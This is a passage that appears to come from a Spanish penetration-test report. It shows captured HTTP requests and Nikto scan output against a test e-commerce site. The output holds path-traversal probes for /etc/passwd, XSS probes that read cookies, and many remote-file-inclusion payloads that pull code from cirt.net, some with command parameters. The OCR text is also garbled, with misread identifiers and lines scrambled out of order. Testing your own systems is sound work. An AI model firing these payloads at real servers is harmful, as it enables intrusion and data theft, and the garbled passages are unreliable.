POST /index.php?page=register.php HTTP/1.1
confirm_password=admin&username=admin&register-php-submit-button=register-php-submit-
button%3dCreate+Account&password=admin&csrf-token=

POST /index.php?page=source-viewer.php HTTP/1.1
page=source-viewer.php&source-file-viewer-php-submit-button=View+File&phpfile=database-
offline.php

POST /index.php?page=text-file-viewer.php HTTP/1.1
textfile=http%3a%2f%2fwww.textfiles.com%2fhacking%2fatms&text-file-viewer-php-submit-
button=View+File
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Anexo 5: Pruebas con Nikto

# nikto -host www.shopathome.com -Format htm -output nikto.html

- Nikto v2.1.6

+ Target IP: 192.168.1.137

+ Target Hostname: www . shopathome. com

+ Target Port: 80

+ Start Time: 2016-05-14 23:15:59 (GMT2)

+ Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch proxy html/3.0.1
mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod _perl/2.0.4 Perl/v5.10.1

+ Cookie PHPSESSID created without the httponly flag

+ Cookie showhints created without the httponly flag

+ Retrieved x-powered-by header: PHP/5.3.2-1lubuntu4.30

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms
of XSS

+ Uncommon header 'logged-in-user' found, with contents:

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
a different fashion to the MIME type

+ 0SVDB-3268: /cgi-bin/: Directory indexing found.

+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 389642, size: 190, mtime: Fri Sep 27
04:47:08 2013

+ "robots.txt" contains 8 entries which should be manually viewed.

mod_mono/2.4.3 appears to be outdated (current is at least 2.8)

Perl/v5.10.1 appears to be outdated (current is at least v5.14.2)

Phusion_Passenger/4.0.38 appears to be outdated (current is at least 4.0.53)

PHP/5.3.2-1ubuntu4.30 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
Python/2.6.5 appears to be outdated (current is at least 2.7.5)

proxy_html/3.0.1 appears to be outdated (current is at least 3.1.2)

mod_perl/2.0.4 appears to be outdated (current is at least 2.0.7)

OpenSSL/0.9.8k appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.00 and 0.9.8zc are also current.
mod_ss1/2.2.14 appears to be outdated (current is at least 2.8.31) (may depend on server version)

+ Apache/2.2.14 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29
are also current.

+ Uncommon header 'tcn' found, with contents: list

+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See
http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php

+ IP address found in the 'location' header. The IP is "127.0.1.1".

+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory.
The value is "http://127.0.1.1/images/".

+ mod_ss1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 - mod_ssl 2.8.7 and lower are
vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2002-0082, 0SVDB-756.

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh
%28VS.80%29.aspx for details.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ O0SVDB-112004: /: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2014-6271).

+ OSVDB-112004: /index.php: Site appears vulnerable to the ‘'shellshock' vulnerability (http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2014-6271).

+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file
traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)

+ /phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Output from the phpinfo() function was found.

+ 0SVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain
HTTP requests that contain specific QUERY strings.

+ 0SVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain
HTTP requests that contain specific QUERY strings.

+ 0SVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain
HTTP requests that contain specific QUERY strings.

+ 0SVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain
HTTP requests that contain specific QUERY strings.

0SVDB-3268: /data/: Directory indexing found.

0SVDB-3092: /data/: This might be interesting...

0SVDB-3268: /includes/: Directory indexing found.

0SVDB-3092: /includes/: This might be interesting...

0SVDB-3268: /passwords/: Directory indexing found.

0SVDB-3092: /passwords/: This might be interesting...

+ 0SVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or
limited to authorized hosts.

+ 0SVDB-3268: /test/: Directory indexing found.

+ 0SVDB-3092: /test/: This might be interesting...

+ 0SVDB-3092: /cgi-bin/: This might be interesting... possibly a system shell found.

+ /phpinfo.php: Output from the phpinfo() function was found.

+ 0SVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of
system information.

+ 0SVDB-3233: /index.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of
system information.

+ 0SVDB-3268: /icons/: Directory indexing found.

+ 0SVDB-3268: /images/: Directory indexing found.

+ 0SVDB-3268: /styles/: Directory indexing found.

+ 0SVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.

+ /phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>: Output from the phpinfo() function was found.
+ /phpinfo.php?
cx[1=kzt5TEukQks5ntyh1LEKPiANWYG6P568H04Jrn4K6yCSMivwtFglbMdeONUec6PhgkgOrIKKYJLoVjEINIGtaR1EVVkg6AENSTG8ILNleuwF rRR
2937DzIqBWBYXjSI1IWeUZwcSnFRMHZpNDrQLYYVgbIf8BOKRIW1S4h6tkbzIw8oniglGCThNfm70Tdw4fIvUZokxuOx0FvSiThUoocU9xslotehsLka
yyXeysDbU7y1Q3I4Fs8T30cwza5a45YfNGbuNUrLs05LnhVp46aas6KniwCIn6igzeCnzbROlvru6eld96DtQBhBx8mbcPMwLHVVbdjh8jqplTgxhlpk
n4Ht7NhRGRKkcU1lHsuXQ3G4fRj1laZt3jSL7VY6Qb8er6Hn4JaeaH6Sha9s r8U8nFn3Hm7qERBI s rhVk2QSNUprfyDNovtaioMyUSIPHNQn9TOh5FbYRA
YpFIXOn7XEHUITKLX03bxxGcsxHCCFCjwlljNTHPTHBKA3YEIWZWNSTMNnGhz3XxuQ6X1WMe1lE4HO1pf1WYQfwhDPUgCloXC2mzgJ1lca9SHPtndBcOhdL
tGRAad5QPnPx60ZcH2uMFrdd2HOnPaD7GrzuE5SneFFuBSdQNej CfQwOjKX52Is45wVil8ePFXwkXNubNluSVMWx8KuuooKSDbAv2njMfzPyHSAILnSTh
GLP8RwOea5tbTnpvgIgXb7ttXx51DHVOAKO5CR8MHhFKkbI9LpynFveELhalayjgphWTWKN56zui®UXz7DOhrU6ujor5GIwgzEqxf571VZP2NDtI81UH
73Ninvb3VOwhMzIUVGUI74tPgk8fvCzTbvmwnQpW56MnneSCaSebZg8AmGQvifkM1CgYc6UPMwqVM12vnhNROHAMK rwBvQTbRUMPEJ®Q55¢cDsSLGOLNT
mDYYEV15F8IE60JQFCeV3WuwcmwDIy15u9mrb5vHHeP8EMAMaTU9fa6bI13nWKa4aN6GiEITCyJ2wMMtPPC2UNeXCyT4IL67SiJjbMPgEMIitfpYh7st
5R8tI3ER9gLGt7EATVVI56101keAjmjGiDXXBjCA®35p7icnFemKDj8Phy20CSRGfIh3P35aIl1TWT6yPmVHgrtEKkt99nGBR5yPr27Rwbas5CNbrErgC
EhLRsgyYpUF5FBVISACGBO70pmYPhuz8BW4tLbZFkfxRr15jSpxBYzLY rpPSa0dQCXK2IcHvZYAlc5hIXLvdQWtZtKaEuXNRnbwF6j9KbWGtzZwp3APX

+H

+

4+
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BGw1vuNAvVD3ISUlvW4svx1pxkoXsmUtJ2qd5iEzxHeds5f9CIRGQyKnjvojFBrilvpYVYaz8GLYMYv6PziVz61lhueiViZSxfft1FtF3No74SqQ7RVqfn
NKY rmGZAbF2N10bV3vPf7CudwWlvO6pxVidG2nACT50XXTMULVUIIUh5AWCbHON1meymKIHODNpk46€0S45uGi2 fBnz rrXKhRYNs rCa8YFLHU3HpdOz7
xcR5zt1RqTUdsaIWjOGZYc00sURaHDIaR8e05hGSM4YOcncrm4qy950AusigtCQDOUEMRMY67XJ11ZQJ0LV62zscbLTh8qc3AfiTwu7esYk7DIDou3wWql
zdZUMj EfkZ5MdJ9weQ2PK608CTXQ0xZzwOm7EtK8f fRre0BWVhXzrn1tRCI20NINdr5irJTnCNITRATbVY2yT3kcfpm5umxFmS6H07S56Ce2w®I1781icGY
RWe9kKxvm9LsEgZa3QBxeVMszvK8UqIIBgdmxmsUVwBWYRAwiD8WuisFNASoPJLBcwuLMOh7R7uC7Rmk1IxAvORI3HDIAtI3w9S4WlplbbsPLP58sE8d
HifYf4PwMUNHTOKNW]FTLygbPbhXVztv32rtCRAsAinpiEa8JunXraMY61NzyvDOI4acg4wltICbgxBDM2eU9dWL r4kHgq5qZ3ht6YLLZVX0D9SBOSChG
20X0Xq1lcddKYCSirSIgHrnucZt7G3P1KRjhXXPT7LcO2voaVj73c1OhSNIRmyH60PIArQLYHiPxLdcZ9wOuleBxXz1gq6EBmhiDIHNCkIW96 LH2PFAHB
UNK1xcsSgy3hKgbXZWmIHTMFCI1iulORYmwWb4SPQI1Xn0ICGteVLBOCDMeVv59ZSuInGCOhIIYqiXfKL6rCcl01PZ1IECZqAML6jaIH28RkZORY3BX9
3e6v6d4MAUMMPKIKIHPHIrN1IiCullKZSItQ6MNbZqly6PckzK7SBNrkKnk2i8ZHIjRdIZaIRD2kiZZ1Mx1hg8QD952mlwFQOULfr9taccY6ywRIxrvzZhX
mZEKLPSCHOTo3fFwjzU1HUrVUDHL74IkffYehpMrwbX4ZRpfv70eIghlLIFX8fCz83rZUSRbHMLOUs2YCcVxLEuyc3czComMWCkxglbg4wB3kxIzG2ad
2VBMwSUJdVreUTHHQx9Y rsLAeTwQF4tYwEvvMoRtmtg3BULIhXMHtx fplw405HI8d8Sqjbyr5TuFqtv4EtD01mjHB7KUWKQyzuMRbc4oritmYWy9dvos
MH6L8rrB98WRIivNTuvFOAiK6AqF fuKNh8hPZcXe905y41lws6uE8XYK]jGP53tWkubRFDfPOletCjzWMWg4WWyJ4Q49Imnyv95H0ax0TpXfi8oiSBm2DN
1DwOqUYhbCignHIZ1SizejORCAVpNzj9VyKBtLRERbVFRXNTEG46ZACMWT 1YWT rI8USimZP62zCFGfYt13w]jbz8C6h0sIR7WER6pMTUj9e0n0q]Ysgj2F
3PYxhOGFp97EHSapKGDpBP4XMFQb3KgHs81I2FKe®@MrowMPscYpkoxmt2nFotM9h3TeNpQLItYYhrkyFPdYOUnEoihgsL5dne88IGpL20axuEmkuzIJw
K81iADWp3j1lulzQrSpmpIPTpXKdaAXeijZc9SMquWksYPISCRIpim1mV5WWW7FAwbs1Elqc4WLbVxBIkejL4Am13DDoc936yewl8yCIJATIao6jwim2n6Z
raxHVoEXgKsqU1V4I9CZakEEnKRk7n1TppZ6BDDpae7e4rtQwMagfgT2RmbPSOE4m1xyST8cWBCIAIk3UpKjKLIMnBy8cdH3aqRqtLNZepSS02jaCFEq2
fZgWsQCryGN91B9A7SwU6bMW3vDk07A2p59d3XNhVIov0sxVhli04Yz0KniB70FGXFGLXRGo2gWocPuUu2uQjEOAgpkNb8MzNP6ApIyunzWy4 rvDR5f0
4nrqSekcyPywMI2en7TEmSkbanTk5NFj I9wk4nWyyBHSEVIZzk0ZvAaFASnSOKaNdwg6d9kz17L00ETrj739LS0A0t8hdkMe 1 TQDHY jMs fvagj IAWNyBn
Mw1XQ399PeNQEQDBauYKDcKZNU1GoGUbEHCz1IWD90JaMeWch3HWIPrdAHg1Gt9h4TuFcWDEXYOVOjZoEu8013fpCbOHVVZEdQBWqvrEuTaN2GUscLkb
1zMANOrQz28GdrxmOyusEQjYIYyUMUxa@TRQVVV3W6fTzgmbaETV7Fs3wkmMyjojHpcY3WpCQOGzHOjmx15bR2dpfI56Vm5UV4eK]jkebjDBymdS69BmD
XWSIOZtSt407MeKrU3I1Z2RA2ceI91DCxfIzggHLZs0Pw25KOUg3P564gmkc20FAr1A3TiD3UnOsN4f604c5Dmkz93SGOX0U3rwwgIgChYcZvS6pzjY X
9qk0d1r741ZZBFOMn0ZIn0t3J7DJvYz4AkSXallQ6Hv4GeMMi96RIoeCVU1al6GP9sTIm58QGMPplItv3wljKyvs5rGhNrZo423Q6zwo5wOYK0315UYQ
9jbUzSzmr3NpLA8Ni7NPynGanrzpChJGFjo0Av3rC0yia932n4mDINFD1DOhozpYXf8MeoSRvwjV7UnmOnILBiddMuCmwWpKI1gEYebM5DyRiHquy8gmm
8De8VVedTDq0az5CNqt2HfpLuio3KA6NkZ1haCetFAiycYCZOddLVWVCcRwc6X3tadwZMtzuS7bppwC2nk1OHE6TCg35qUflYZSVXC1I7MHVItNNKKEeS
fDKSjg5xVDFtclbhfZ7VYolxaNgBX2B9nkOM8ykvn<script>alert(foo)</script>: Output from the phpinfo() function was found.
+ 0SVDB-3233: /icons/README: Apache default file found.

+ 0SVDB-5292: /?_CONFIG[files][functions_pagel=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /?npage=-1&content_dir=http://cirt.net/rfiinc.txt?%00&cmd=1s: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /7npage=1&content_dir=http://cirt.net/rfiinc.txt?%00&cmd=1s: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ O0SVDB-5292: /?show=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?1=101&PAGES[lol]=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?AML_opensite=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?AMV_openconfig=1&AMV_serverpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?CONFIG[MWCHAT Libs]=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?ConfigDir=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?DIR_PLUGINS=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?G_JGALL[inc_path]=http://cirt.net/rfiinc.txt?%00: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?HomeDir=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?Lang=AR&Page=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?Madoa=http://cirt.net/rfiinc.txt??: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?RP_PATH=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?
_REQUEST=& REQUEST[option]=com_content& REQUEST[Itemid=1&GLOBALS=&mosConfig absolute path=http://cirt.net/rfiinc.txt
?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?
_REQUEST=& REQUEST [option]=com_content& REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://cirt.net/rfiinc.tx
t?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?abg_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?abs_path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?abs_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?adduser=true&lang=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?adodb=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?ads_file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?arquivo=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?back=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?base==http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?basePath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?bibtexrootrel=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?blog_dc_path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?blog_theme=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?body=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?class_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?classified_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?cms=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?config[\"sipssys\"]=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?config[root_ordner]=http://cirt.net/rfiinc.txt??&cmd=1id: RFI from RSnake's list
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(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?config[root_ordner]=http://cirt.net/rfiinc.txt??cmd=id: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?config_atkroot=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?configuration=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?custom_admin_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?dateiPfad=http://cirt.net/rfiinc.txt??&cmd=1s: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?de=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?dept=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?do=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?exec=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?ext=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?faq_path=http://cirt.net/rfiinc.txt??&cmd=1id: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?file_Nikto[]=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?file_name[]l=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?file_path=http://cirt.net/rfiinc.txt??: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?fileloc=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?from=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?func=http://cirt.net/rfiinc.txt??: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?function=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?function=custom&custom=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?gOo=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?gen=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?get=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

RFI from RSnake's list

RFI from RSnake's 1list

+ 0SVDB-5292: /index.php?home_Nikto=http://cirt.net/rfiinc.txt?: RFI
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?home_name=http://cirt.net/rfiinc.txt?: RFI

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?ilang=http://cirt.net/rfiinc.txt??: RFI from RSnake's 1list
locations.dat) or from http://osvdb.org/

+ OSVDB-5292: /index.php?inc_dir=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?inc_dir=http://cirt.net/rfiinc.txt??: RFI
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?includeDir=http://cirt.net/rfiinc.txt?: RFI
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?includeFooter=http://cirt.net/rfiinc.txt?: RFI
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?includesdir=http://cirt.net/rfiinc.txt?: RFI

(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?insPath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?lang=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?language=http://cirt.net/rfiinc.txt??:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?language=en&main_page=http://cirt.net/rfiinc.txt?:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?lizge=http://cirt.net/rfiinc.txt??&cmd=1s:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?lng=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?load=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?loadpage=http://cirt.net/rfiinc.txt?:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?main_tabid=1&main_content=http://cirt.net/rfiinc.txt?:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?may=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?middle=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

+ O0SVDB-5292: /index.php?mode=http://cirt.net/rfiinc.txt?:
locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?mode=http://cirt.net/rfiinc.txt??&cmd=:
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ OSVDB-5292: /index.php?modpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
locations.dat) or from http://osvdb.org/

RFI from RSnake's list

RFI

RFI

RFI from RSnake's list

RFI

RFI from RSnake's list
RFI from RSnake's 1list

RFI

(http://ha.ckers.org/weird/rfi-

(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
from RSnake's list
from RSnake's list
(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
from RSnake's list
from RSnake's list
from RSnake's list
from RSnake's list
(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
from RSnake's list
RFI from RSnake's list
from RSnake's list

(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
RSnake's

from list

RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
(http://ha.ckers.org/weird/rfi-
RSnake's

from list

(http://ha.ckers.org/weird/rfi-

+ /index.php?module=PostWrap&page=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.

+ 0SVDB-5292: /index.php?module=PostWrap&page=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?mosConfig_absolute_path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?news7[\"functions\"]=http://cirt.net/rfiinc.txt?: RFI from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 0SVDB-5292: /index.php?news_include_path=http://cirt.net/rfiinc.txt?: RFI from RSnake's list

(http://ha.ckers
+ 0SVDB-5292: /index.php?open=http://cirt.net/rfiinc.txt?:

.org/weird/rfi-locations.dat) or from http://osvdb.org/
RFI from RSnake's list

(http://ha.ckers.org/weird/rfi-
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locations.dat) or from http://osvdb.org/

+ 0SVDB-5292: /index.php?option=com_custompages&cpage=http://cirt.net/rfiinc.txt??: RFI  from RSnake's list
(http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

+ /index.php?page=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.

+ 0SVDB-5292: /index.php?page=http://cirt.net/rfiinc.txt?: RFI from RSnake's 1list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

